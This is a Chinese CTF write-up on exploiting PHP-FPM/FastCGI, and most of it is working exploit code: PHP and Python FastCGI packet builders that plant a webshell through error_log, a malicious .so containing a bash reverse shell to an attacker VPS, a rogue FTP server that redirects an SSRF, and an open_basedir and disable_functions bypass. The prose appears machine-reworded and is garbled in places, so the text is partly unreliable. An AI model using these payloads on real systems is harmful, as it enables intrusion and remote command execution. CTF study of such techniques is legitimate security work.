<?php highlight_file(__FILE__); if(isset($_GET['data'])&&isset($_GET['host'])&&isset($_GET['port'])){$data = base64_decode($_GET['data']);$host = $_GET['host'];$port = $_GET['port'];if(preg_match('/usr|auto|extension|dir/i', $data)){die('error');}$fp = fsockopen($host,intval($port),$errno, $errstr, 30);if (!$fp) {die();}else{fwrite($fp, $data);while (!feof($fp)) {echo fgets($fp, 128);}fclose($fp);}}?><!-- flag.php -->

我们取访问flag.php的时候哀求本地访问,这里可以用fsockopen函数打开一个网络连接或者一个Unix套接字连接,这里直接连本地80端口。
详解PHP fsockopen的利用方法:详解PHP fsockopen的利用方法

GET /flag.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: deflate Connection: close Upgrade-Insecure-Requests: 1

发送数据包过去即可拿到flag.php源码.

<?php $allow = array('127.0.0.1','localhost'); if(in_array($_SERVER['HTTP_HOST'],$allow)){ highlight_file(__FILE__); $contents = isset($_POST['data'])?$_POST['data']:''; if(!preg_match('/lastsward/i', $contents)){ file_put_contents('hint.txt', $contents); } if(file_get_contents('hint.txt')==='lastsward'){ phpinfo(); } die(); } die('请从本地访问')

利用数组data[]=lastward绕过,发包拿到phpinfo。

我们可以看到Server API:Fpm/FastCGI 这个配置。

但是index.php对数据包的数据有过滤,我们常见的攻击模式都是基于auto_prepend_file,extension等,不能常规打点。
以是须要在php Runtime Configuration中找到一个要么可以实行代码,或者包含文件,或者写文件的配置。
经由筛选,我看到了error_log这个配置触发报错并且把报错信息写入某一个文件,fsockopen`函数报错会显示缺点的host和port。
但是报错信息可能会被实体编码,须要使:

$php_value = "html_errors = Off\nerror_log = /var/www/html/3333.php";

将html_errors关闭,将其目录文件改为一个我们方便访问的。

修正别人Exp:https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/fcgi_jailbreak.php

<?php/ Note : Code is released under the GNU LGPL Please do not change the header of this file This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. // Handles communication with a FastCGI application @author Pierrick Charron <pierrick@webstart.fr> @version 1.0 /class FCGIClient{ const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; / Socket @var Resource / private $_sock = null; / Host @var String / private $_host = null; / Port @var Integer / private $_port = null; / Keep Alive @var Boolean / private $_keepAlive = false; / Constructor @param String $host Host of the FastCGI application @param Integer $port Port of the FastCGI application / public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } / Define whether or not the FastCGI application should keep the connection alive at the end of a request @param Boolean $b true if the connection should stay alive, false otherwise / public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } / Get the keep alive status @return Boolean true if the connection should stay alive, false otherwise / public function getKeepAlive() { return $this->_keepAlive; } / Create a connection to the FastCGI application / private function connect() { if (!$this->_sock) { //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } / Build a FastCGI packet @param Integer $type Type of the packet @param String $content Content of the packet @param Integer $requestId RequestId / private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) / version / . chr($type) / type / . chr(($requestId >> 8) & 0xFF) / requestIdB1 / . chr($requestId & 0xFF) / requestIdB0 / . chr(($clen >> 8 ) & 0xFF) / contentLengthB1 / . chr($clen & 0xFF) / contentLengthB0 / . chr(0) / paddingLength / . chr(0) / reserved / . $content; / content / } / Build an FastCGI Name value pair @param String $name Name @param String $value Value @return String FastCGI Name value pair / private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { / nameLengthB0 / $nvpair = chr($nlen); } else { / nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 / $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { / valueLengthB0 / $nvpair .= chr($vlen); } else { / valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 / $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } / nameData & valueData / return $nvpair . $name . $value; } / Read a set of FastCGI Name value pairs @param String $data Data containing the set of FastCGI NVPair @return array of NVPair / private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } / Decode a FastCGI Packet @param String $data String containing all the packet @return array / private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } / Read a FastCGI Packet @return array / private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } / Get Informations on the FastCGI application @param array $requestedInfo information to retrieve @return array / public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } / Execute a request to the FastCGI application @param array $params Array of parameters @param String $stdin Content @return String / public function request(array $params, $stdin) { $response = '';// $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); //echo('data='.urlencode($request)); echo(base64_encode($request)); //由于数据放到fsockopen中是要进行base64解码的,我们直接在这里进行编码 }}?><?php$filepath = "/var/www/html/index.php";//$filepath = "/var/www/html/flag.php"; //调试用$req = '/' . basename($filepath);$uri = $req . '?' . 'data=whoami&host=<%3fphp+system($_REQUEST["command"])%3b%3f>&port=9000';//payload,将这个报错数据写入error_log中,要url编码$client = new FCGIClient("1111", 0);$code = "data[]=lastsward"; //flag.php的post数据,只是看phpinfo是否被修正$php_value = "html_errors = Off\nerror_log = /var/www/html/3333.php";$params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'data=whoami&host=<%3fphp+system($_REQUEST["command"])%3b%3f>&port=9000', //url编码后的 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req,#'DOCUMENT_ROOT' => '/', 'PHP_ADMIN_VALUE' => $php_value, 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9000', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code), 'HTTP_HOST' => '127.0.0.1', //题目哀求本地访问 'CONTENT_TYPE' => "application/x-www-form-urlencoded", //调试,表示$_POST有数据);echo $client->request($params, $code)."\n";?>

天生base64后访问即可:

data=天生的base64编码&host=127.0.0.1&port=9000

拿flag:http://xxxx/3333.php?command=cat+/flag.txt

理解了之前的事理的话,这道题可以说是比较大略了。
接下来我们看看同样是这个脚本的其余一种编写,通过比拟完备节制这个脚本的修正。

Unix Socket下的df绕过

以上我们的谈论都是基于TCP通信办法进行的。
接下来讲讲unix socket。
一样平常来说不能进行ssrf攻击,由于没有经由网络协议层,当然也有特例,引用了PHP-FPM监听的sock文件。

我们在渗透测试中常常会碰着目标环境设置了 disable_functions 的情形,disable_functions 这个选项是 PHP 加载的时候就确定了并且我们没有权限通过 php_value 选项对其进行修正,但是 LD_PRELOAD 绕过 disable_functions 的方法给了我们思路。
即我们可以通过加载恶意 .so 扩展的方法实现系统命令的实行,从而一举绕过 disable_functions 对我们的限定。

有时候常见的攻击 PHP-FPM 的方法并不能成功实当代码实行,但我们可以通过加载恶意 .so 扩展的方法实现系统的命令实行。
我们知道 LD_PRELOAD 绕过 disable_functions 大致便是把我们编译出来的恶意的 .so 文件加载到环境变量中去实行,从而实现实行系统命令。

LD_PRELOAD 是通过 putenv() 把so文件加载到环境变量中再去调用。
那么我们 Fastcgi 也完备可以做同样的事,只须要通过 PHP_VALUE 给 php.ini 添加一个 extender 扩展就行了。

下面我们通过 [2021 蓝帽杯]one_Pointer_php 这道 CTF 例题来演示攻击过程。
该可以通过 PHP 数组溢出绕过限定实现 eval() 任意代码实行,但是题目的PHP环境还设置了以下两个限定:

disable_functions:过滤了各种命令实行函数,但是像 scandir、file_get_contents、file_put_contents 等目录和文件操作函数没有被过滤open_basedir设置了 open_basedir,只能访问 Web 目录,但我们可以利用chdir()与ini_set()组合来绕过 open_basedir:

/add_api.php?backdoor=mkdir('css');chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

在根目录里创造了 flag。

考试测验利用 file_get_contents() 等函数读取均失落败,预测是出题人对flag的权限做了限定。
那我们就要想办法提权了,但是要提权则必须先拿到shell实行命令,也便是得要先绕过disable_functions。

这里考试测验了很多方法绕过disable_functions均失落败,读取 /proc/self/cmdline 时创造当提高程是 php-fpm。
创造 PHP-FPM 绑定在了本地 9001 端口上。

既然我们可以通过 eval() 实行任意代码,那我们便可以布局恶意代码进行 SSRF,利用 SSRF 攻击本地的 PHP-FPM。
我们可以通过在vps上搭建恶意的ftp,骗取目标主机将 payload 转发到自己的 9001 端口上,从而实现攻击 PHP-FPM 并实行命令,事理上文已经讲过了。

首先利用以下c文件 hpdoger.c 编译一个恶意的 .so 扩展,这里直接用网上亘古不变的写法:

布局恶意.so

#define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>__attribute__ ((__constructor__)) void preload (void){ system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");}

通过 shared 命令编译:

gcc hpdoger.c -fPIC -shared -o hpdoger.so

然后将天生的 hpdoger.so 上传到目标主机(我这里上传到 /tmp 目录,放在tmp是由于普适性比较强。
可以利用 copy('http://vps/hpdoger.so','/tmp/hpdoger.so') )

Exp编写

然后大略修正以下脚本(根据 fcgi_jailbreak.php 改的)并实行,天生 payload:

<?php/ Note : Code is released under the GNU LGPL Please do not change the header of this file This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. // Handles communication with a FastCGI application @author Pierrick Charron <pierrick@webstart.fr> @version 1.0 /class FCGIClient{ const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; / Socket @var Resource / private $_sock = null; / Host @var String / private $_host = null; / Port @var Integer / private $_port = null; / Keep Alive @var Boolean / private $_keepAlive = false; / Constructor @param String $host Host of the FastCGI application @param Integer $port Port of the FastCGI application / public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } / Define whether or not the FastCGI application should keep the connection alive at the end of a request @param Boolean $b true if the connection should stay alive, false otherwise / public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } / Get the keep alive status @return Boolean true if the connection should stay alive, false otherwise / public function getKeepAlive() { return $this->_keepAlive; } / Create a connection to the FastCGI application / private function connect() { if (!$this->_sock) { //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } / Build a FastCGI packet @param Integer $type Type of the packet @param String $content Content of the packet @param Integer $requestId RequestId / private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) / version / . chr($type) / type / . chr(($requestId >> 8) & 0xFF) / requestIdB1 / . chr($requestId & 0xFF) / requestIdB0 / . chr(($clen >> 8 ) & 0xFF) / contentLengthB1 / . chr($clen & 0xFF) / contentLengthB0 / . chr(0) / paddingLength / . chr(0) / reserved / . $content; / content / } / Build an FastCGI Name value pair @param String $name Name @param String $value Value @return String FastCGI Name value pair / private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { / nameLengthB0 / $nvpair = chr($nlen); } else { / nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 / $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { / valueLengthB0 / $nvpair .= chr($vlen); } else { / valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 / $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } / nameData & valueData / return $nvpair . $name . $value; } / Read a set of FastCGI Name value pairs @param String $data Data containing the set of FastCGI NVPair @return array of NVPair / private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } / Decode a FastCGI Packet @param String $data String containing all the packet @return array / private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } / Read a FastCGI Packet @return array / private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } / Get Informations on the FastCGI application @param array $requestedInfo information to retrieve @return array / public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } / Execute a request to the FastCGI application @param array $params Array of parameters @param String $stdin Content @return String / public function request(array $params, $stdin) { $response = '';// $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); echo('data='.urlencode($request));//这边与上面的脚本就不同了,这个直接拼接get参数,进行二次编码输出 }}?><?php$filepath = "/var/www/html/add_api.php"; // 目标主机已知的PHP文件的路径$req = '/'.basename($filepath);$uri = $req .'?'.'command=whoami'; // 常规,不用管$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); //是基于本地的unix进行绕过df$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // POST数据,不用管$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";$params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command=whoami', 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req,#'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9001', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code));echo $client->request($params, $code)."\n";?>利用FTP反弹

接着便是常规的FTP协议了,在VPS上搭建FTP做事器:

import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 23))s.listen(1)conn, addr = s.accept()conn.send(b'220 welcome\n')#Service ready for new user.#Client send anonymous username#USER anonymousconn.send(b'331 Please specify the password.\n')#User name okay, need password.#Client send anonymous password.#PASS anonymousconn.send(b'230 Login successful.\n')#User logged in, proceed. Logged out if appropriate.#TYPE Iconn.send(b'200 Switching to Binary mode.\n')#Size /conn.send(b'550 Could not get the file size.\n')#EPSV (1)conn.send(b'150 ok\n')#PASVconn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)conn.send(b'150 Permission denied.\n')#QUITconn.send(b'221 Goodbye.\n')conn.close()

然后在 vps 上开启一个 nc 监听,用于吸收反弹的shell。

然后在 vps 上开启一个 nc 监听,用于吸收反弹的shell。

末了通过 eval() 布局如下恶意代码通过 file_put_contents() 与我们 vps 上恶意的 ftp 做事器建立连接:

/add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://47.101.57.72:23/123&data=Exp_Payload

PS:不用这样的办法的话可以先布局一个SSRF页面,然后传参进去,实在是一样的。
至此我们就拿到反弹Shell了,接下来提权就可以了。

更加详细的东西,师傅们可以参考下面的文章PHP内核剖析:https://www.sohu.com/a/530158105_121124363?qq-pf-to=pcqq.c2cbypass disable_functions姿势总结:https://xz.aliyun.com/t/10057

CTF Echohub

当我们连上面的 file_put_contents() 函数都不能利用时用下面的方法。
假设场景,能够上传php文件或者实行代码,将下面的EXP上传到做事器:

<?php $sock=stream_socket_client('unix:///tmp/php-cgi-74.sock'); fwrite($sock, base64_decode($_GET['cmd'])); var_dump(fread($sock, 4096));

将p神的EXP修正一下,只输出生成的payload的base64数据。
__connect()写成恒返回真,将payload进行base64编码后输出,并结束程序实行。

import socketimport randomimport argparseimport sysfrom io import BytesIO# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i])def bord(c): if isinstance(c, int): return c else: return ord(c)def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict')def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return sclass FastCGIClient: """A Fast-CGI Client for Python""" # private __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict() def __connect(self): return True self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record def request(self, nameValuePairs={}, post=''): if not self.__connect(): print('connect failure! please check your fasctcgi-server !!') return requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) print(base64.b64encode(request)) exit() self.sock.send(request) self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response'] = b'' return self.__waitForResponse(requestId) def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response'] def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('host', help='Target host, such as 127.0.0.1') parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } response = client.request(params, content) print(force_text(response))PLAINTEXTpython3 fpm.py -c "<?php system('id'); exit(); ?>" -p 9000 xxx.xxx.xxx.xxx /var/www/html/index.phpPayload:直接与 Socket 进行通信,假造fastcgi协议包进行任意代码实行POST 办法 cmd 参数传入 base64 编码的 payload觉得和上面的有点类似呢。

默认套接字的位置在 /run/php/php7.3-fpm.sock

如果不在的话可以通过默认 /etc/php/7.3/fpm/pool.d/www.conf 配置文件查看套接字路径,或者 TCP 模式的端口号

参考链接

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.htmlhttps://xz.aliyun.com/t/5598https://xz.aliyun.com/t/5006https://xz.aliyun.com/t/9544https://blog.carrot2.cn/2022/09/2022zjctf-preliminary.htmlhttps://mp.weixin.qq.com/s/aYrolbts1KiZb3oWPEaBcQ

refer:https://tttang.com/archive/1775/